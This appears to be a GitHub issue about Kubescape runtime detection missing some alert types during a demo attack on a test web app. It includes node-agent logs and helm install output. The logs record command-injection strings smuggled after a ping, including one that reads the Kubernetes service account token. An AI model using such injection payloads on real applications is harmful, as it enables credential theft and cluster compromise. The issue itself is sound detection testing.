Kubescape node-agent logs of Unexpected is missing some alertName listed in Generate Runtime Attack (normal attack that abuses CVE) #86
Description
Kubescape node-agent logs of Unexpected is missing alertName system call& domain request listed in Generate Runtime Attack (normal attack that abuses CVE)
my Kubescape node-agent logs of Unexpected:
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"args":["/bin/cat","/proc/self/mounts"],"exec":"/bin/cat","retval":0},"infectedPID":17454,"severity":5,"timestamp":"2025-10-14T09:13:44.719203311Z","trace":{},"uniqueID":"86a130a79323f10e54cf35ed94f7df9a","profileMetadata":{"status":"completed","completion":"complete","name":"replicaset-webapp-mywebapp-67965968bb","failOnProfile":true,"type":0},"identifiers":{"process":{"name":"cat","commandLine":"/bin/cat /proc/self/mounts"},"file":{"name":"cat","directory":"/bin"}}},"CloudMetadata":{"provider":"gcp","instance_id":"shoot--co-golden--billofbehavi-worker-w64iu-z1-58b6b-nphkd","instance_type":"n1-standard-2","region":"europe-west1","zone":"europe-west1-d","private_ip":"10.180.0.5","hostname":"shoot--co-golden--billofbehavi-worker-w64iu-z1-58b6b-nphkd","account_id":"sap-cp-k8s-corch-eu30-dev"},"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"mywebapp-app","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/webapp@sha256:e323014ec9befb76bc551f8cc3bf158120150e2e277bae11844c2da6c56c0a2b","imageDigest":"sha256:c622cf306b94e8a6e7cfd718f048015e033614170f19228d8beee23a0ccc57bb","namespace":"webapp","containerID":"77a124bdd0e32e4dbde2b730aba318b7f9d8afa37151fea5f3fba3d2eb27318c","podName":"webapp-mywebapp-67965968bb-vcx4s","podNamespace":"webapp","podLabels":{"app.kubernetes.io/instance":"webapp","app.kubernetes.io/name":"mywebapp","pod-template-hash":"67965968bb"},"workloadName":"webapp-mywebapp","workloadNamespace":"webapp","workloadKind":"Deployment"},"RuntimeProcessDetails":{"processTree":{"pid":9395,"cmdline":"apache2 -DFOREGROUND","comm":"apache2","ppid":8649,"pcomm":"apache2","uid":33,"gid":33,"startTime":"0001-01-01T00:00:00Z","cwd":"/var/www/html","path":"/usr/sbin/apache2","childrenMap":{"sh␟17452":{"pid":17452,"cmdline":"/bin/sh -c ping -c 4 1.1.1.1;cat /proc/self/mounts","comm":"sh","ppid":9395,"pcomm":"apache2","uid":33,"gid":33,"startTime":"0001-01-01T00:00:00Z","path":"/bin/dash","childrenMap":{"cat␟17454":{"pid":17454,"cmdline":"/bin/cat /proc/self/mounts","comm":"cat","ppid":17452,"pcomm":"sh","uid":33,"gid":33,"startTime":"0001-01-01T00:00:00Z","path":"/bin/cat"}}}}},"containerID":"77a124bdd0e32e4dbde2b730aba318b7f9d8afa37151fea5f3fba3d2eb27318c"},"event":{"runtime":{"runtimeName":"containerd","containerId":"77a124bdd0e32e4dbde2b730aba318b7f9d8afa37151fea5f3fba3d2eb27318c","containerName":"mywebapp-app","containerImageName":"ghcr.io/k8sstormcenter/webapp@sha256:e323014ec9befb76bc551f8cc3bf158120150e2e277bae11844c2da6c56c0a2b","containerImageDigest":"sha256:c622cf306b94e8a6e7cfd718f048015e033614170f19228d8beee23a0ccc57bb"},"k8s":{"namespace":"webapp","podName":"webapp-mywebapp-67965968bb-vcx4s","podLabels":{"app.kubernetes.io/instance":"webapp","app.kubernetes.io/name":"mywebapp","pod-template-hash":"67965968bb"},"containerName":"mywebapp-app","owner":{}},"timestamp":1760433224719203311,"type":"normal"},"level":"error","message":"Unexpected process launched: /bin/cat","msg":"Unexpected process launched","processtree_depth":"3","time":"2025-10-14T09:13:44Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"args":["/bin/cat","index.html"],"exec":"/bin/cat","retval":0},"infectedPID":17481,"severity":5,"timestamp":"2025-10-14T09:13:47.970582935Z","trace":{},"uniqueID":"86a130a79323f10e54cf35ed94f7df9a","profileMetadata":{"status":"completed","completion":"complete","name":"replicaset-webapp-mywebapp-67965968bb","failOnProfile":true,"type":0},"identifiers":{"process":{"name":"cat","commandLine":"/bin/cat index.html"},"file":{"name":"cat","directory":"/bin"}}},"CloudMetadata":{"provider":"gcp","instance_id":"shoot--co-golden--billofbehavi-worker-w64iu-z1-58b6b-nphkd","instance_type":"n1-standard-2","region":"europe-west1","zone":"europe-west1-d","private_ip":"10.180.0.5","hostname":"shoot--co-golden--billofbehavi-worker-w64iu-z1-58b6b-nphkd","account_id":"sap-cp-k8s-corch-eu30-dev"},"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"mywebapp-app","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/webapp@sha256:e323014ec9befb76bc551f8cc3bf158120150e2e277bae11844c2da6c56c0a2b","imageDigest":"sha256:c622cf306b94e8a6e7cfd718f048015e033614170f19228d8beee23a0ccc57bb","namespace":"webapp","containerID":"77a124bdd0e32e4dbde2b730aba318b7f9d8afa37151fea5f3fba3d2eb27318c","podName":"webapp-mywebapp-67965968bb-vcx4s","podNamespace":"webapp","podLabels":{"app.kubernetes.io/instance":"webapp","app.kubernetes.io/name":"mywebapp","pod-template-hash":"67965968bb"},"workloadName":"webapp-mywebapp","workloadNamespace":"webapp","workloadKind":"Deployment"},"RuntimeProcessDetails":{"processTree":{"pid":9456,"cmdline":"apache2 -DFOREGROUND","comm":"apache2","ppid":8649,"pcomm":"apache2","uid":33,"gid":33,"startTime":"0001-01-01T00:00:00Z","cwd":"/var/www/html","path":"/usr/sbin/apache2","childrenMap":{"sh␟17455":{"pid":17455,"cmdline":"/bin/sh -c ping -c 4 1.1.1.1;cat index.html","comm":"sh","ppid":9456,"pcomm":"apache2","uid":33,"gid":33,"startTime":"0001-01-01T00:00:00Z","path":"/bin/dash","childrenMap":{"cat␟17481":{"pid":17481,"cmdline":"/bin/cat index.html","comm":"cat","ppid":17455,"pcomm":"sh","uid":33,"gid":33,"startTime":"0001-01-01T00:00:00Z","path":"/bin/cat"}}}}},"containerID":"77a124bdd0e32e4dbde2b730aba318b7f9d8afa37151fea5f3fba3d2eb27318c"},"event":{"runtime":{"runtimeName":"containerd","containerId":"77a124bdd0e32e4dbde2b730aba318b7f9d8afa37151fea5f3fba3d2eb27318c","containerName":"mywebapp-app","containerImageName":"ghcr.io/k8sstormcenter/webapp@sha256:e323014ec9befb76bc551f8cc3bf158120150e2e277bae11844c2da6c56c0a2b","containerImageDigest":"sha256:c622cf306b94e8a6e7cfd718f048015e033614170f19228d8beee23a0ccc57bb"},"k8s":{"namespace":"webapp","podName":"webapp-mywebapp-67965968bb-vcx4s","podLabels":{"app.kubernetes.io/instance":"webapp","app.kubernetes.io/name":"mywebapp","pod-template-hash":"67965968bb"},"containerName":"mywebapp-app","owner":{}},"timestamp":1760433227970582935,"type":"normal"},"level":"error","message":"Unexpected process launched: /bin/cat","msg":"Unexpected process launched","processtree_depth":"3","time":"2025-10-14T09:13:47Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected file access","arguments":{"flags":["O_RDONLY"],"path":"/var/www/html/index.html"},"infectedPID":17481,"severity":1,"timestamp":"2025-10-14T09:13:47.971479334Z","trace":{},"uniqueID":"df2808e2d1f9a406d267ce3037697a3f","profileMetadata":{"status":"completed","completion":"complete","name":"replicaset-webapp-mywebapp-67965968bb","failOnProfile":true,"type":0},"identifiers":{"process":{"name":"cat"},"file":{"name":"index.html","directory":"/var/www/html"}}},"CloudMetadata":{"provider":"gcp","instance_id":"shoot--co-golden--billofbehavi-worker-w64iu-z1-58b6b-nphkd","instance_type":"n1-standard-2","region":"europe-west1","zone":"europe-west1-d","private_ip":"10.180.0.5","hostname":"shoot--co-golden--billofbehavi-worker-w64iu-z1-58b6b-nphkd","account_id":"sap-cp-k8s-corch-eu30-dev"},"RuleID":"R0002","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"mywebapp-app","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/webapp@sha256:e323014ec9befb76bc551f8cc3bf158120150e2e277bae11844c2da6c56c0a2b","imageDigest":"sha256:c622cf306b94e8a6e7cfd718f048015e033614170f19228d8beee23a0ccc57bb","namespace":"webapp","containerID":"77a124bdd0e32e4dbde2b730aba318b7f9d8afa37151fea5f3fba3d2eb27318c","podName":"webapp-mywebapp-67965968bb-vcx4s","podNamespace":"webapp","workloadName":"webapp-mywebapp","workloadNamespace":"webapp","workloadKind":"Deployment"},"RuntimeProcessDetails":{"processTree":{"pid":9456,"cmdline":"apache2 -DFOREGROUND","comm":"apache2","ppid":8649,"pcomm":"apache2","uid":33,"gid":33,"startTime":"0001-01-01T00:00:00Z","cwd":"/var/www/html","path":"/usr/sbin/apache2","childrenMap":{"sh␟17455":{"pid":17455,"cmdline":"/bin/sh -c ping -c 4 1.1.1.1;cat index.html","comm":"sh","ppid":9456,"pcomm":"apache2","uid":33,"gid":33,"startTime":"0001-01-01T00:00:00Z","path":"/bin/dash","childrenMap":{"cat␟17481":{"pid":17481,"cmdline":"/bin/cat index.html","comm":"cat","ppid":17455,"pcomm":"sh","uid":33,"gid":33,"startTime":"0001-01-01T00:00:00Z","path":"/bin/cat"}}}}},"containerID":"77a124bdd0e32e4dbde2b730aba318b7f9d8afa37151fea5f3fba3d2eb27318c"},"event":{"runtime":{"runtimeName":"containerd","containerId":"77a124bdd0e32e4dbde2b730aba318b7f9d8afa37151fea5f3fba3d2eb27318c","containerName":"mywebapp-app","containerImageName":"ghcr.io/k8sstormcenter/webapp@sha256:e323014ec9befb76bc551f8cc3bf158120150e2e277bae11844c2da6c56c0a2b","containerImageDigest":"sha256:c622cf306b94e8a6e7cfd718f048015e033614170f19228d8beee23a0ccc57bb"},"k8s":{"namespace":"webapp","podName":"webapp-mywebapp-67965968bb-vcx4s","podLabels":{"app.kubernetes.io/instance":"webapp","app.kubernetes.io/name":"mywebapp","pod-template-hash":"67965968bb"},"containerName":"mywebapp-app","owner":{}},"timestamp":1760433227971479334,"type":"normal"},"level":"error","message":"Unexpected file access: /var/www/html/index.html with flags O_RDONLY","msg":"Unexpected file access","processtree_depth":"3","time":"2025-10-14T09:13:47Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"args":["/usr/bin/curl","github.com"],"exec":"/usr/bin/curl","retval":0},"infectedPID":17512,"severity":5,"size":"4.1 kB","timestamp":"2025-10-14T09:13:51.165493719Z","trace":{},"uniqueID":"10eb3203d2094782c9a560b1207a9c66","profileMetadata":{"status":"completed","completion":"complete","name":"replicaset-webapp-mywebapp-67965968bb","failOnProfile":true,"type":0},"identifiers":{"process":{"name":"curl","commandLine":"/usr/bin/curl github.com"},"file":{"name":"curl","directory":"/usr/bin"}}},"CloudMetadata":{"provider":"gcp","instance_id":"shoot--co-golden--billofbehavi-worker-w64iu-z1-58b6b-nphkd","instance_type":"n1-standard-2","region":"europe-west1","zone":"europe-west1-d","private_ip":"10.180.0.5","hostname":"shoot--co-golden--billofbehavi-worker-w64iu-z1-58b6b-nphkd","account_id":"sap-cp-k8s-corch-eu30-dev"},"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"mywebapp-app","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/webapp@sha256:e323014ec9befb76bc551f8cc3bf158120150e2e277bae11844c2da6c56c0a2b","imageDigest":"sha256:c622cf306b94e8a6e7cfd718f048015e033614170f19228d8beee23a0ccc57bb","namespace":"webapp","containerID":"77a124bdd0e32e4dbde2b730aba318b7f9d8afa37151fea5f3fba3d2eb27318c","podName":"webapp-mywebapp-67965968bb-vcx4s","podNamespace":"webapp","podLabels":{"app.kubernetes.io/instance":"webapp","app.kubernetes.io/name":"mywebapp","pod-template-hash":"67965968bb"},"workloadName":"webapp-mywebapp","workloadNamespace":"webapp","workloadKind":"Deployment"},"RuntimeProcessDetails":{"processTree":{"pid":8810,"cmdline":"apache2 -DFOREGROUND","comm":"apache2","ppid":8649,"pcomm":"apache2","uid":33,"gid":33,"startTime":"0001-01-01T00:00:00Z","cwd":"/var/www/html","path":"/usr/sbin/apache2","childrenMap":{"sh␟17482":{"pid":17482,"cmdline":"/bin/sh -c ping -c 4 1.1.1.1;curl github.com","comm":"sh","ppid":8810,"pcomm":"apache2","uid":33,"gid":33,"startTime":"0001-01-01T00:00:00Z","path":"/bin/dash","childrenMap":{"curl␟17512":{"pid":17512,"cmdline":"/usr/bin/curl github.com","comm":"curl","ppid":17482,"pcomm":"sh","uid":33,"gid":33,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/curl"}}}}},"containerID":"77a124bdd0e32e4dbde2b730aba318b7f9d8afa37151fea5f3fba3d2eb27318c"},"event":{"runtime":{"runtimeName":"containerd","containerId":"77a124bdd0e32e4dbde2b730aba318b7f9d8afa37151fea5f3fba3d2eb27318c","containerName":"mywebapp-app","containerImageName":"ghcr.io/k8sstormcenter/webapp@sha256:e323014ec9befb76bc551f8cc3bf158120150e2e277bae11844c2da6c56c0a2b","containerImageDigest":"sha256:c622cf306b94e8a6e7cfd718f048015e033614170f19228d8beee23a0ccc57bb"},"k8s":{"namespace":"webapp","podName":"webapp-mywebapp-67965968bb-vcx4s","podLabels":{"app.kubernetes.io/instance":"webapp","app.kubernetes.io/name":"mywebapp","pod-template-hash":"67965968bb"},"containerName":"mywebapp-app","owner":{}},"timestamp":1760433231165493719,"type":"normal"},"level":"error","message":"Unexpected process launched: /usr/bin/curl","msg":"Unexpected process launched","processtree_depth":"3","time":"2025-10-14T09:13:51Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected file access","arguments":{"flags":["O_RDONLY"],"path":"/proc/sys/crypto/fips_enabled"},"infectedPID":17512,"md5Hash":"15d5d07a246924bda221cc72e907e1ab","sha1Hash":"38bb73e283599e83ced6be5cad37e96fea3006f6","severity":1,"size":"256 kB","timestamp":"2025-10-14T09:13:51.176350775Z","trace":{},"uniqueID":"1ca25625576019dc16f6c63412c35f41","profileMetadata":{"status":"completed","completion":"complete","name":"replicaset-webapp-mywebapp-67965968bb","failOnProfile":true,"type":0},"identifiers":{"process":{"name":"curl"},"file":{"name":"fips_enabled","directory":"/proc/sys/crypto"}}},"CloudMetadata":{"provider":"gcp","instance_id":"shoot--co-golden--billofbehavi-worker-w64iu-z1-58b6b-nphkd","instance_type":"n1-standard-2","region":"europe-west1","zone":"europe-west1-d","private_ip":"10.180.0.5","hostname":"shoot--co-golden--billofbehavi-worker-w64iu-z1-58b6b-nphkd","account_id":"sap-cp-k8s-corch-eu30-dev"},"RuleID":"R0002","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"mywebapp-app","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/webapp@sha256:e323014ec9befb76bc551f8cc3bf158120150e2e277bae11844c2da6c56c0a2b","imageDigest":"sha256:c622cf306b94e8a6e7cfd718f048015e033614170f19228d8beee23a0ccc57bb","namespace":"webapp","containerID":"77a124bdd0e32e4dbde2b730aba318b7f9d8afa37151fea5f3fba3d2eb27318c","podName":"webapp-mywebapp-67965968bb-vcx4s","podNamespace":"webapp","workloadName":"webapp-mywebapp","workloadNamespace":"webapp","workloadKind":"Deployment"},"RuntimeProcessDetails":{"processTree":{"pid":8810,"cmdline":"apache2 -DFOREGROUND","comm":"apache2","ppid":8649,"pcomm":"apache2","uid":33,"gid":33,"startTime":"0001-01-01T00:00:00Z","cwd":"/var/www/html","path":"/usr/sbin/apache2","childrenMap":{"sh␟17482":{"pid":17482,"cmdline":"/bin/sh -c ping -c 4 1.1.1.1;curl github.com","comm":"sh","ppid":8810,"pcomm":"apache2","uid":33,"gid":33,"startTime":"0001-01-01T00:00:00Z","path":"/bin/dash","childrenMap":{"curl␟17512":{"pid":17512,"cmdline":"/usr/bin/curl github.com","comm":"curl","ppid":17482,"pcomm":"sh","uid":33,"gid":33,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/curl"}}}}},"containerID":"77a124bdd0e32e4dbde2b730aba318b7f9d8afa37151fea5f3fba3d2eb27318c"},"event":{"runtime":{"runtimeName":"containerd","containerId":"77a124bdd0e32e4dbde2b730aba318b7f9d8afa37151fea5f3fba3d2eb27318c","containerName":"mywebapp-app","containerImageName":"ghcr.io/k8sstormcenter/webapp@sha256:e323014ec9befb76bc551f8cc3bf158120150e2e277bae11844c2da6c56c0a2b","containerImageDigest":"sha256:c622cf306b94e8a6e7cfd718f048015e033614170f19228d8beee23a0ccc57bb"},"k8s":{"namespace":"webapp","podName":"webapp-mywebapp-67965968bb-vcx4s","podLabels":{"app.kubernetes.io/instance":"webapp","app.kubernetes.io/name":"mywebapp","pod-template-hash":"67965968bb"},"containerName":"mywebapp-app","owner":{}},"timestamp":1760433231176350775,"type":"normal"},"level":"error","message":"Unexpected file access: /proc/sys/crypto/fips_enabled with flags O_RDONLY","msg":"Unexpected file access","processtree_depth":"3","time":"2025-10-14T09:13:51Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"args":["/bin/cat","/run/secrets/kubernetes.io/serviceaccount/token"],"exec":"/bin/cat","retval":0},"infectedPID":17553,"severity":5,"timestamp":"2025-10-14T09:13:54.52786412Z","trace":{},"uniqueID":"86a130a79323f10e54cf35ed94f7df9a","profileMetadata":{"status":"completed","completion":"complete","name":"replicaset-webapp-mywebapp-67965968bb","failOnProfile":true,"type":0},"identifiers":{"process":{"name":"cat","commandLine":"/bin/cat /run/secrets/kubernetes.io/serviceaccount/token"},"file":{"name":"cat","directory":"/bin"}}},"CloudMetadata":{"provider":"gcp","instance_id":"shoot--co-golden--billofbehavi-worker-w64iu-z1-58b6b-nphkd","instance_type":"n1-standard-2","region":"europe-west1","zone":"europe-west1-d","private_ip":"10.180.0.5","hostname":"shoot--co-golden--billofbehavi-worker-w64iu-z1-58b6b-nphkd","account_id":"sap-cp-k8s-corch-eu30-dev"},"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"mywebapp-app","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/webapp@sha256:e323014ec9befb76bc551f8cc3bf158120150e2e277bae11844c2da6c56c0a2b","imageDigest":"sha256:c622cf306b94e8a6e7cfd718f048015e033614170f19228d8beee23a0ccc57bb","namespace":"webapp","containerID":"77a124bdd0e32e4dbde2b730aba318b7f9d8afa37151fea5f3fba3d2eb27318c","podName":"webapp-mywebapp-67965968bb-vcx4s","podNamespace":"webapp","podLabels":{"app.kubernetes.io/instance":"webapp","app.kubernetes.io/name":"mywebapp","pod-template-hash":"67965968bb"},"workloadName":"webapp-mywebapp","workloadNamespace":"webapp","workloadKind":"Deployment"},"RuntimeProcessDetails":{"processTree":{"pid":8811,"cmdline":"apache2 -DFOREGROUND","comm":"apache2","ppid":8649,"pcomm":"apache2","uid":33,"gid":33,"startTime":"0001-01-01T00:00:00Z","cwd":"/var/www/html","path":"/usr/sbin/apache2","childrenMap":{"sh␟17527":{"pid":17527,"cmdline":"/bin/sh -c ping -c 4 1.1.1.1;cat /run/secrets/kubernetes.io/serviceaccount/token","comm":"sh","ppid":8811,"pcomm":"apache2","uid":33,"gid":33,"startTime":"0001-01-01T00:00:00Z","path":"/bin/dash","childrenMap":{"cat␟17553":{"pid":17553,"cmdline":"/bin/cat /run/secrets/kubernetes.io/serviceaccount/token","comm":"cat","ppid":17527,"pcomm":"sh","uid":33,"gid":33,"startTime":"0001-01-01T00:00:00Z","path":"/bin/cat"}}}}},"containerID":"77a124bdd0e32e4dbde2b730aba318b7f9d8afa37151fea5f3fba3d2eb27318c"},"event":{"runtime":{"runtimeName":"containerd","containerId":"77a124bdd0e32e4dbde2b730aba318b7f9d8afa37151fea5f3fba3d2eb27318c","containerName":"mywebapp-app","containerImageName":"ghcr.io/k8sstormcenter/webapp@sha256:e323014ec9befb76bc551f8cc3bf158120150e2e277bae11844c2da6c56c0a2b","containerImageDigest":"sha256:c622cf306b94e8a6e7cfd718f048015e033614170f19228d8beee23a0ccc57bb"},"k8s":{"namespace":"webapp","podName":"webapp-mywebapp-67965968bb-vcx4s","podLabels":{"app.kubernetes.io/instance":"webapp","app.kubernetes.io/name":"mywebapp","pod-template-hash":"67965968bb"},"containerName":"mywebapp-app","owner":{}},"timestamp":1760433234527864120,"type":"normal"},"level":"error","message":"Unexpected process launched: /bin/cat","msg":"Unexpected process launched","processtree_depth":"3","time":"2025-10-14T09:13:54Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected file access","arguments":{"flags":["O_RDONLY"],"path":"/run/secrets/kubernetes.io/serviceaccount/..2025_10_14_08_52_08.1749045179/token"},"infectedPID":17553,"severity":1,"timestamp":"2025-10-14T09:13:54.528872979Z","trace":{},"uniqueID":"95b35fb27391c35c00ab698f0dc50f34","profileMetadata":{"status":"completed","completion":"complete","name":"replicaset-webapp-mywebapp-67965968bb","failOnProfile":true,"type":0},"identifiers":{"process":{"name":"cat"},"file":{"name":"token","directory":"/run/secrets/kubernetes.io/serviceaccount/..2025_10_14_08_52_08.1749045179"}}},"CloudMetadata":{"provider":"gcp","instance_id":"shoot--co-golden--billofbehavi-worker-w64iu-z1-58b6b-nphkd","instance_type":"n1-standard-2","region":"europe-west1","zone":"europe-west1-d","private_ip":"10.180.0.5","hostname":"shoot--co-golden--billofbehavi-worker-w64iu-z1-58b6b-nphkd","account_id":"sap-cp-k8s-corch-eu30-dev"},"RuleID":"R0002","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"mywebapp-app","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/webapp@sha256:e323014ec9befb76bc551f8cc3bf158120150e2e277bae11844c2da6c56c0a2b","imageDigest":"sha256:c622cf306b94e8a6e7cfd718f048015e033614170f19228d8beee23a0ccc57bb","namespace":"webapp","containerID":"77a124bdd0e32e4dbde2b730aba318b7f9d8afa37151fea5f3fba3d2eb27318c","podName":"webapp-mywebapp-67965968bb-vcx4s","podNamespace":"webapp","workloadName":"webapp-mywebapp","workloadNamespace":"webapp","workloadKind":"Deployment"},"RuntimeProcessDetails":{"processTree":{"pid":8811,"cmdline":"apache2 -DFOREGROUND","comm":"apache2","ppid":8649,"pcomm":"apache2","uid":33,"gid":33,"startTime":"0001-01-01T00:00:00Z","cwd":"/var/www/html","path":"/usr/sbin/apache2","childrenMap":{"sh␟17527":{"pid":17527,"cmdline":"/bin/sh -c ping -c 4 1.1.1.1;cat /run/secrets/kubernetes.io/serviceaccount/token","comm":"sh","ppid":8811,"pcomm":"apache2","uid":33,"gid":33,"startTime":"0001-01-01T00:00:00Z","path":"/bin/dash","childrenMap":{"cat␟17553":{"pid":17553,"cmdline":"/bin/cat /run/secrets/kubernetes.io/serviceaccount/token","comm":"cat","ppid":17527,"pcomm":"sh","uid":33,"gid":33,"startTime":"0001-01-01T00:00:00Z","path":"/bin/cat"}}}}},"containerID":"77a124bdd0e32e4dbde2b730aba318b7f9d8afa37151fea5f3fba3d2eb27318c"},"event":{"runtime":{"runtimeName":"containerd","containerId":"77a124bdd0e32e4dbde2b730aba318b7f9d8afa37151fea5f3fba3d2eb27318c","containerName":"mywebapp-app","containerImageName":"ghcr.io/k8sstormcenter/webapp@sha256:e323014ec9befb76bc551f8cc3bf158120150e2e277bae11844c2da6c56c0a2b","containerImageDigest":"sha256:c622cf306b94e8a6e7cfd718f048015e033614170f19228d8beee23a0ccc57bb"},"k8s":{"namespace":"webapp","podName":"webapp-mywebapp-67965968bb-vcx4s","podLabels":{"app.kubernetes.io/instance":"webapp","app.kubernetes.io/name":"mywebapp","pod-template-hash":"67965968bb"},"containerName":"mywebapp-app","owner":{}},"timestamp":1760433234528872979,"type":"normal"},"level":"error","message":"Unexpected file access: /run/secrets/kubernetes.io/serviceaccount/..2025_10_14_08_52_08.1749045179/token with flags O_RDONLY","msg":"Unexpected file access","processtree_depth":"3","time":"2025-10-14T09:13:54Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected Service Account Token Access","arguments":{"flags":["O_RDONLY"],"path":"/run/secrets/kubernetes.io/serviceaccount/..2025_10_14_08_52_08.1749045179/token"},"infectedPID":17553,"severity":8,"timestamp":"2025-10-14T09:13:54.528872979Z","trace":{},"uniqueID":"d077f244def8a70e5ea758bd8352fcd8","profileMetadata":{"status":"completed","completion":"complete","name":"replicaset-webapp-mywebapp-67965968bb","failOnProfile":true,"type":0},"identifiers":{"process":{"name":"cat"},"file":{"name":"token","directory":"/run/secrets/kubernetes.io/serviceaccount/..2025_10_14_08_52_08.1749045179"}}},"CloudMetadata":{"provider":"gcp","instance_id":"shoot--co-golden--billofbehavi-worker-w64iu-z1-58b6b-nphkd","instance_type":"n1-standard-2","region":"europe-west1","zone":"europe-west1-d","private_ip":"10.180.0.5","hostname":"shoot--co-golden--billofbehavi-worker-w64iu-z1-58b6b-nphkd","account_id":"sap-cp-k8s-corch-eu30-dev"},"RuleID":"R0006","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"mywebapp-app","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/webapp@sha256:e323014ec9befb76bc551f8cc3bf158120150e2e277bae11844c2da6c56c0a2b","imageDigest":"sha256:c622cf306b94e8a6e7cfd718f048015e033614170f19228d8beee23a0ccc57bb","namespace":"webapp","containerID":"77a124bdd0e32e4dbde2b730aba318b7f9d8afa37151fea5f3fba3d2eb27318c","podName":"webapp-mywebapp-67965968bb-vcx4s","podNamespace":"webapp","podLabels":{"app.kubernetes.io/instance":"webapp","app.kubernetes.io/name":"mywebapp","pod-template-hash":"67965968bb"},"workloadName":"webapp-mywebapp","workloadNamespace":"webapp","workloadKind":"Deployment"},"RuntimeProcessDetails":{"processTree":{"pid":8811,"cmdline":"apache2 -DFOREGROUND","comm":"apache2","ppid":8649,"pcomm":"apache2","uid":33,"gid":33,"startTime":"0001-01-01T00:00:00Z","cwd":"/var/www/html","path":"/usr/sbin/apache2","childrenMap":{"sh␟17527":{"pid":17527,"cmdline":"/bin/sh -c ping -c 4 1.1.1.1;cat /run/secrets/kubernetes.io/serviceaccount/token","comm":"sh","ppid":8811,"pcomm":"apache2","uid":33,"gid":33,"startTime":"0001-01-01T00:00:00Z","path":"/bin/dash","childrenMap":{"cat␟17553":{"pid":17553,"cmdline":"/bin/cat /run/secrets/kubernetes.io/serviceaccount/token","comm":"cat","ppid":17527,"pcomm":"sh","uid":33,"gid":33,"startTime":"0001-01-01T00:00:00Z","path":"/bin/cat"}}}}},"containerID":"77a124bdd0e32e4dbde2b730aba318b7f9d8afa37151fea5f3fba3d2eb27318c"},"event":{"runtime":{"runtimeName":"containerd","containerId":"77a124bdd0e32e4dbde2b730aba318b7f9d8afa37151fea5f3fba3d2eb27318c","containerName":"mywebapp-app","containerImageName":"ghcr.io/k8sstormcenter/webapp@sha256:e323014ec9befb76bc551f8cc3bf158120150e2e277bae11844c2da6c56c0a2b","containerImageDigest":"sha256:c622cf306b94e8a6e7cfd718f048015e033614170f19228d8beee23a0ccc57bb"},"k8s":{"namespace":"webapp","podName":"webapp-mywebapp-67965968bb-vcx4s","podLabels":{"app.kubernetes.io/instance":"webapp","app.kubernetes.io/name":"mywebapp","pod-template-hash":"67965968bb"},"containerName":"mywebapp-app","owner":{}},"timestamp":1760433234528872979,"type":"normal"},"level":"error","message":"Unexpected access to service account token: /run/secrets/kubernetes.io/serviceaccount/..2025_10_14_08_52_08.1749045179/token with flags: O_RDONLY","msg":"Unexpected Service Account Token Access","processtree_depth":"3","time":"2025-10-14T09:13:54Z"}Q: Did I miss anything during setup?
How did I install it?
make kubescape
make kubescape
/opt/homebrew/bin/helm repo add kubescape https://kubescape.github.io/helm-charts/
"kubescape" has been added to your repositories
/opt/homebrew/bin/helm repo update
Hang tight while we grab the latest from your chart repositories...
...Successfully got an update from the "sap-btp-operator" chart repository
...Successfully got an update from the "kubescape" chart repository
...Successfully got an update from the "podinfo" chart repository
...Successfully got an update from the "vmware-tanzu" chart repository
...Successfully got an update from the "gitea-charts" chart repository
...Successfully got an update from the "cloud-orchestrator-golden-path-building-blocks" chart repository
...Successfully got an update from the "kcp" chart repository
...Successfully got an update from the "crossplane-stable" chart repository
...Successfully got an update from the "ingress-nginx" chart repository
...Successfully got an update from the "jetstack" chart repository
...Successfully got an update from the "prometheus-community" chart repository
...Successfully got an update from the "external-secrets" chart repository
...Successfully got an update from the "datawire" chart repository
...Successfully got an update from the "bitnami" chart repository
Update Complete. ⎈Happy Helming!⎈
/opt/homebrew/bin/helm upgrade --install kubescape kubescape/kubescape-operator --version 1.29.0 -n honey --create-namespace --values kubescape/values.yaml
Release "kubescape" does not exist. Installing it now.
NAME: kubescape
LAST DEPLOYED: Tue Oct 14 10:42:51 2025
NAMESPACE: honey
STATUS: deployed
REVISION: 1
TEST SUITE: None
NOTES:
Thank you for installing kubescape-operator version 1.29.0.
View your cluster's configuration scanning schedule:
> kubectl -n honey get cj kubescape-scheduler -o=jsonpath='{.metadata.name}{"\t"}{.spec.schedule}{"\n"}'
To change the schedule, set `.spec.schedule`:
> kubectl -n honey edit cj kubescape-scheduler
View your cluster's image scanning schedule:
> kubectl -n honey get cj kubevuln-scheduler -o=jsonpath='{.metadata.name}{"\t"}{.spec.schedule}{"\n"}'
To change the schedule, edit `.spec.schedule`:
> kubectl -n honey edit cj kubevuln-scheduler
View your image vulnerabilities scan summaries:
> kubectl get vulnerabilitymanifestsummaries -A
Detailed reports are also available:
> kubectl get vulnerabilitymanifests -A
kubescape-operator generates suggested network policies. To view them:
> kubectl get generatednetworkpolicies -n <namespace>
kubectl apply -f kubescape/runtimerules.yaml
Warning: resource runtimerulealertbindings/all-rules-all-pods is missing the kubectl.kubernetes.io/last-applied-configuration annotation which is required by kubectl apply. kubectl apply should only be used on resources created declaratively by either kubectl create --save-config or kubectl apply. The missing annotation will be patched automatically.
